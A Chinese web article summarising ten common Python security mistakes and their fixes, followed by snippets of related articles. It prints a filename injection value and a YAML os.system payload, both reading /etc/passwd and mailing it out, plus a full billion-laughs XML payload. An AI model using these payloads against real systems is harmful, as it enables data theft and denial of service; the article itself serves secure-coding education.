详细总结Python常见的安全问题

一、输入注入

注入攻击非常广泛而且很常见,注入有很多种类,它们影响所有的语言、框架和环境。

SQL 注入是直接编写 SQL 查询(而非使用 ORM) 时将字符串字面量与变量混合。可以通过https://www.jb51.net/article/187001.htm
这个链接查看 SQL 注入所有可能发生的复杂方式。

命令注入可能在使用 popen、subprocess、os.system 调用一个进程并从变量中获取参数时发生,当调用本地命令时,有人可能会将某些值设置为恶意值。

下面是个简单的脚本,使用用户提供的文件名调用子进程:

import subprocess

def transcode_file(request, filename):
    command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
    subprocess.call(command, shell=True)  # a bad idea!

攻击者会将 filename 的值设置为“; cat / etc / passwd | mail them@domain.com 或者其他同样危险的东西。

修复:

如果你使用了 Web 框架,可以用附带的实用程序对输入进行清理,除非有充分的理由,否则不要手动构建 SQL 查询,大多数 ORM 都具有内置的消毒方法。

对于 shell,可以使用 shlex 模块正确地转义输入。

二、assert 语句(Assert statements)

不要使用 assert 语句来防止用户访问不应访问的代码段。

def foo(request, user):
   assert user.is_admin, “user does not have access”
   # secure code...

现在,默认情况下,Python 以 __debug__ 为 true 来执行脚本,但在生产环境中,通常使用优化运行,这将会跳过 assert 语句并直接转到安全代码,而不管用户是否是 is_admin

修复:

仅在与其他开发人员进行通信时使用 assert 语句,例如在单元测试中或为了防止不正确的 API 使用。

三、计时攻击(Timing attacks)

计时攻击本质上是一种通过计时比较提供值所需时间来暴露行为和算法的方式。计时攻击需要精确性,所以通常不能用于高延迟的远程网络。由于大多数 Web 应用程序涉及可变延迟,因此几乎不可能在 HTTP Web 服务器上编写计时攻击。

但是,如果你有提示输入密码的命令行应用程序,则攻击者可以编写一个简单的脚本来计算将其值与实际密码进行比较所需的时间。

修复:

使用在 Python 3.5 中引入的 secrets.compare_digest 来比较密码和其他私密值。

四、临时文件(Temporary files)

要在 Python 中创建临时文件,通常使用 mktemp() 函数生成一个文件名,然后使用该名称创建一个文件。 这是不安全的,因为另一个进程可能会在调用 mktemp() 和随后尝试通过第一个进程创建文件之间的空隙创建一个同名文件。这意味着应用程序可能加载错误的数据或暴露其他的临时数据。

如果调用不正确的方法,则最新版本的 Python 会抛出运行警告。

修复

如果需要生成临时文件,请使用 tempfile 模块并使用 mkstemp。

五、使用 yaml.load

引用 PyYAML 文档:

警告:使用从不可信源接收到的数据来调用 yaml.load 是不安全的! yaml.load 和pickle.load 一样强大,所以可以调用任何 Python 函数。

在流行的 Python 项目 Ansible 中这个例子,你可以将此值作为(有效)YAML 提供给 Ansible Vault,它使用文件中提供的参数调用 os.system()。

!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]

所以,从用户提供的值中有效地加载 YAML 文件会让应用对攻击打开大门。

修复:

总是不优先使用 yaml.safe_load,除非你有一个非常好的理由。

六、解析 XML(Parsing XML)

如果你的应用程序要加载、解析 XML 文件,则你可能正在使用 XML 标准库模块。通过 XML 的攻击大多是 DoS 风格(旨在使系统崩溃而不是泄露数据),这些攻击十分常见,特别是在解析外部(即不可信任的)XML 文件时。

其中有个「billion laughs」,因为他的 payload 通常包含很多(十亿)「lols」。基本上,这个原理是可以在 XML 中使用参照实体,所以当解析器将这个 XML 文件加载到内存中时,它会消耗数 G 大小的内存(RAM)。

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

另一些攻击使用外部实体扩展。XML 支持从外部 URL 引用实体,XML解析器通常会毫无疑问地获取并加载该资源。攻击者可以规避防火墙并访问受限制的资源,因为所有请求都是由内部可信的 IP 地址创建的,而不是来自外部。

需要考虑的另一种情况是依赖的第三方软件包需要解码 XML ,例如配置文件、远程 API。你甚至可能不知道某个依赖关系会将这些类型的攻击置之不理。

修复:

使用 defusedxml 替换标准库模块,它增加了针对这些类型攻击的安全防护。

七、受污染的 site-packages 或 import 路径

Python 的 import 系统非常灵活,当你想要为测试写补丁或重载核心功能时,这是非常棒的。

但这却是 Python 中最大的安全漏洞之一。

安装第三方软件包,无论是在虚拟环境中还是全局(通常不鼓励)都会让你看到这些软件包中的安全漏洞。有一些发布到 PyPi 的软件包与流行的软件包具有相似的名称,但是却执行了任意代码。

需要考虑的另一种情况是依赖的依赖,他们可能包含漏洞,他们也可以通过导入系统覆盖Python 中的默认行为。

修复

看看 http://PyUp.io 及其安全服务,为所有应用程序使用虚拟环境,并确保全局的 site-packages 尽可能干净,检查包签名。

八、序列化 Pickles

反序列化 pickle 数据和 YAML 一样糟糕。Python 类可以声明一个 __reduce__ 方法,该方法返回一个字符串,或一个可调用的元组以及使用 pickle 序列化时调用的参数。攻击者可以使用它来包含对其中一个子进程模块的引用,以在主机上运行任意命令。

修复

切勿使用 pickle 反序列化不受信任或未经身份验证来源的数据。改用另一种序列化模式(如JSON)。

九、使用系统 Python 运行时并且不修复它

大多数 POSIX 系统都自带有一个 Python 2 版本(通常是旧版本)。

有时候 Python(即 CPython 是用 C 语言编写的) 解释器本身存在漏洞, C 中的常见安全问题与内存分配有关,所以大多是缓冲区溢出错误,CPython 多年来一直存在一些溢出漏洞,每个漏洞都在后续版本中进行了修复。也就是说,如果及时升级 python 运行时,就很安全。

修复:

为生产应用程序安装最新版本的 Python,并及时安装修复更新!

十、不修复依赖关系

类似于不修补 python 运行时,还需要定期修补依赖关系。

修复

使用像 PyUp.io 这样的服务来检查更新,向应用程序提出 pr,并运行测试以保持软件包是最新的。

到此这篇关于详细总结Python常见的安全问题的文章就介绍到这了,更多相关Python安全问题内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • Python通过kerberos安全认证操作kafka方式

    如何通过Kerberos认证. 1.安装Kerberos客户端 CentOS: yum install krb5-workstation 使用which kinit查看是否安装成功: 2.拷贝Kerberos配置文件 conf目录下krb5.conf和kafka.keytab和jaas.conf拷贝到客户端机器的etc目录, 同时,krb5.conf中的kdc集群主机名和IP配置到客户端机器hosts配置文件中 3.Kinit客户端通过kerberos认证 获取Principal klist -

  • 使用bandit对目标python代码进行安全函数扫描的案例分析

    技术背景 在一些对python开源库代码的安全扫描中,我们有可能需要分析库中所使用到的函数是否会对代码的执行环境造成一些非预期的影响.典型的例如python的沙箱逃逸问题,通过一些python的第三方库可以执行系统shell命令,而这就不在python的沙箱防护范围之内了.关于python的沙箱逃逸问题,这里不作展开,这也是困扰业界多年的一个问题,连python官方也提过python的沙箱是没有完美的防护方案的,这里仅作为一个背景案例使用: # subprocess_Popen.py impor

  • python smtplib模块发送SSL/TLS安全邮件实例

    python的smtplib提供了一种很方便的途径发送电子邮件.它对smtp协议进行了简单的封装. smtp协议的基本命令包括: HELO 向服务器标识用户身份 MAIL 初始化邮件传输 mail from: RCPT 标识单个的邮件接收人:常在MAIL命令后面,可有多个rcpt to: DATA 在单个或多个RCPT命令后,表示所有的邮件接收人已标识,并初始化数据传输,以.结束 VRFY 用于验证指定的用户/邮箱是否存在:由于安全方面的原因,服务器常禁止此命令 EXPN 验证给定的邮箱列表是否

  • python线程安全及多进程多线程实现方法详解

    进程和线程的区别 进程是对运行时程序的封装,是系统资源调度和分配的基本单位 线程是进程的子任务,cpu调度和分配的基本单位,实现进程内并发. 一个进程可以包含多个线程,线程依赖进程存在,并共享进程内存 什么是线程安全 一个线程的修改被另一个线程的修改覆盖掉. python中哪些操作是线程安全的 一个操作可以在多线程环境中使用,并且获得正确的结果. 线程安全的操作线程是顺序执行的而不是并发执行的. 一般涉及到写操作需要考虑如何让多个线程安全访问数据. 线程同步的方式 互斥量(锁): 通过互斥机制防

  • 利用python批量给云主机配置安全组的方法教程

    前言 这几年对运维人员来说最大的变化可能就是公有云的出现了,我相信可能很多小伙伴公司业务就跑在公有云上,  因为公司业务关系,我个人接触公有云非常的早,大概在12年左右就是开始使用亚马逊云,后来逐渐接触到国内的阿里,腾讯云等,随着公司业务往国内发展,这几年我们也使用了很多国内的公有云厂商,所以在云运维方面也积累了一些经验,从传统的物理机到公有云运维,我个人认为最大的问题就是你能不能用公有云的思路去思考去实现一个安全稳定.可伸缩和经济的业务构架,云运维是有别与传统运维的,比如说了解公有云的都知道安

  • Python操作sqlite3快速、安全插入数据(防注入)的实例

    table通过使用下面语句创建: 复制代码 代码如下: create table userinfo(name text, email text) 更快地插入数据 在此用time.clock()来计时,看看以下三种方法的速度. 复制代码 代码如下: import sqlite3import time def create_tables(dbname):      conn = sqlite3.connect(dbname)    cursor = conn.cursor()    cursor.e

  • Python简单实现安全开关文件的两种方式

    本文实例讲述了Python简单实现安全开关文件的两种方式.分享给大家供大家参考,具体如下: 以下代码经Python3.3测试. 方式1: try: file = open('config.ini', 'w') print("It's a text file", file=file) except IOError as err: print('File error: ' + str(err)) finally: if 'file' in locals(): file.close() 方式

  • 线程安全及Python中的GIL原理分析

    本文讲述了线程安全及Python中的GIL.分享给大家供大家参考,具体如下: 摘要 什么是线程安全? 为什么python会使用GIL的机制? 在多核时代的到来的背景下,基于多线程来充分利用硬件的编程方法也不断发展起来, 但是一旦 牵扯到多线程,就必然会涉及到一个概念,即 线程安全, 本文就主要谈下笔者对线程安全的一些理解. 而Python为很多人所抱怨的一点就是GIL,那么python为什么选择使用GIL, 本文也就这个问题进行一些讨论. 引入 你的PC或者笔记本还是单核吗? 如果是,那你已经o

  • 详解python实现线程安全的单例模式

    单例模式是一种常见的设计模式,该模式的主要目的是确保某一个类只有一个实例存在.当你希望在整个系统中,某个类只能出现一个实例时,单例对象就能派上用场. 比如,服务器的配置信息写在一个文件中online.conf中,客户端通过一个 Config 的类来读取配置文件的内容.如果在程序运行期间,有很多地方都需要使用配置文件的内容,那么每个调用配置文件的地方都会创建 Config的实例,这就导致系统中存在多个Config 的实例对象,在配置文件内容很多的情况下,我们就浪费了大量的内存做了同样的事.事实上,

  • 详细总结Python常见的安全问题

    一.输入注入 注入攻击非常广泛而且很常见,注入有很多种类,它们影响所有的语言.框架和环境. SQL 注入是直接编写 SQL 查询(而非使用 ORM) 时将字符串字面量与变量混合.可以通过https://www.jb51.net/article/187001.htm 这个链接查看 SQL 注入所有可能发生的复杂方式. 命令注入可能在使用 popen.subprocess.os.system 调用一个进程并从变量中获取参数时发生,当调用本地命令时,有人可能会将某些值设置为恶意值. 下面是个简单的脚本

  • Python常见数据结构详解

    本文详细罗列归纳了Python常见数据结构,并附以实例加以说明,相信对读者有一定的参考借鉴价值. 总体而言Python中常见的数据结构可以统称为容器(container).而序列(如列表和元组).映射(如字典)以及集合(set)是三类主要的容器. 一.序列(列表.元组和字符串) 序列中的每个元素都有自己的编号.Python中有6种内建的序列.其中列表和元组是最常见的类型.其他包括字符串.Unicode字符串.buffer对象和xrange对象.下面重点介绍下列表.元组和字符串. 1.列表 列表是

  • Python常见读写文件操作实例总结【文本、json、csv、pdf等】

    本文实例讲述了Python常见读写文件操作.分享给大家供大家参考,具体如下: 读写文件 读写文件是最常见的IO操作,python内置了读写文件的函数,用法和c是兼容的. 读写文件前,我们必须了解一下,在磁盘上读写文件的功能都是由操作系统提供的,现代操作系统不允许普通的程序直接操作磁盘,所以读写文件就是请求操作系统打开一个文件对象(文件描述),然后,通过操作系统提供的接口从这个文件对象中读取数据(读文件),或者把数据写入这个文件对象(写文件). 1.读文件 要以读文件的模式打开一个文件对象,使用p

  • 详细分析Python可变对象和不可变对象

    在 Python 中一切都可以看作为对象.每个对象都有各自的 id, type 和 value. id: 当一个对象被创建后,它的 id 就不会在改变,这里的 id 其实就是对象在内存中的地址,可以使用 id() 去查看对象在内存中地址. type: 和 id 一样当对象呗创建之后,它的 type 也不能再被改变,type 决定了该对象所能够支持的操作 value: 对象的值 一个对象可变与否就在于 value 值是否支持改变. 不可变对象 常见的不可变对象(immutable objects)

  • 详细分析Python collections工具库

    今天为大家介绍Python当中一个很好用也是很基础的工具库,叫做collections. collection在英文当中有容器的意思,所以顾名思义,这是一个容器的集合.这个库当中的容器很多,有一些不是很常用,本篇文章选择了其中最常用的几个,一起介绍给大家. defaultdict defaultdict可以说是这个库当中使用最简单的一个,并且它的定义也很简单,我们从名称基本上就能看得出来.它解决的是我们使用dict当中最常见的问题,就是key为空的情况. 在正常情况下,我们在dict中获取元素的

  • python 常见的排序算法实现汇总

    排序分为两类,比较类排序和非比较类排序,比较类排序通过比较来决定元素间的相对次序,其时间复杂度不能突破O(nlogn):非比较类排序可以突破基于比较排序的时间下界,缺点就是一般只能用于整型相关的数据类型,需要辅助的额外空间. 要求能够手写时间复杂度位O(nlogn)的排序算法:快速排序.归并排序.堆排序 1.冒泡排序 思想:相邻的两个数字进行比较,大的向下沉,最后一个元素是最大的.列表右边先有序. 时间复杂度$O(n^2)$,原地排序,稳定的 def bubble_sort(li:list):

  • python 常见的反爬虫策略

    1.判断请求头来进行反爬 这是很早期的网站进行的反爬方式 User-Agent 用户代理 referer 请求来自哪里 cookie 也可以用来做访问凭证 解决办法:请求头里面添加对应的参数(复制浏览器里面的数据) 2.根据用户行为来进行反爬 请求频率过高,服务器设置规定时间之内的请求阈值 解决办法:降低请求频率或者使用代理(IP代理) 网页中设置一些陷阱(正常用户访问不到但是爬虫可以访问到) 解决办法:分析网页,避开这些特殊陷阱 请求间隔太短,返回相同的数据 解决办法:增加请求间隔 3.js加

  • Python 常见加密操作的实现

    hashlib加密 import hashlib   # 有很多种加密方式,md5,sha1等等 h = hashlib.md5() # 提交加密的内容,bytes形式 h.update(b"satori") # 二进制形式 print(h.digest()) ''' b'\x13\xd54\x0f:\xdf\x8e[\xe0\x83\xdd\xc6\xca\xd2G\xb8' ''' # 十六进制形式 print(h.hexdigest()) ''' 13d5340f3adf8e5b

  • Python常见的函数及格式化输出

    目录 Python常见函数及格式化输出 一.大小写转换方法 1.upper() 2.lower() 3.capitalize() 4.title() 5.swapcase() 二.分割.组合与移除方法 1.split() 2.join() 3.strip() 三.定位与替换方法 1.count() 2.find() 3.replace() 四.格式化输出方法 Python常见函数及格式化输出 一.大小写转换方法 1.upper() 用于将字符串中的小写字母转为大写字母. 'abcd'.upper

  • Python常见加密模块用法分析【MD5,sha,crypt模块】

    本文实例讲述了Python常见加密模块用法.分享给大家供大家参考,具体如下: 1. md5模块 md5.new([arg])     返回一个md5对象,如果给出参数,则相当于调用了update(arg) md5.update(arg)   用string参数arg更新md5对象 md5.digest()         返回16字节的摘要,由传给update的string生成,摘要没有ascii字符 md5.hexdigest()    以16进制的形式返回摘要 import md5 a =

随机推荐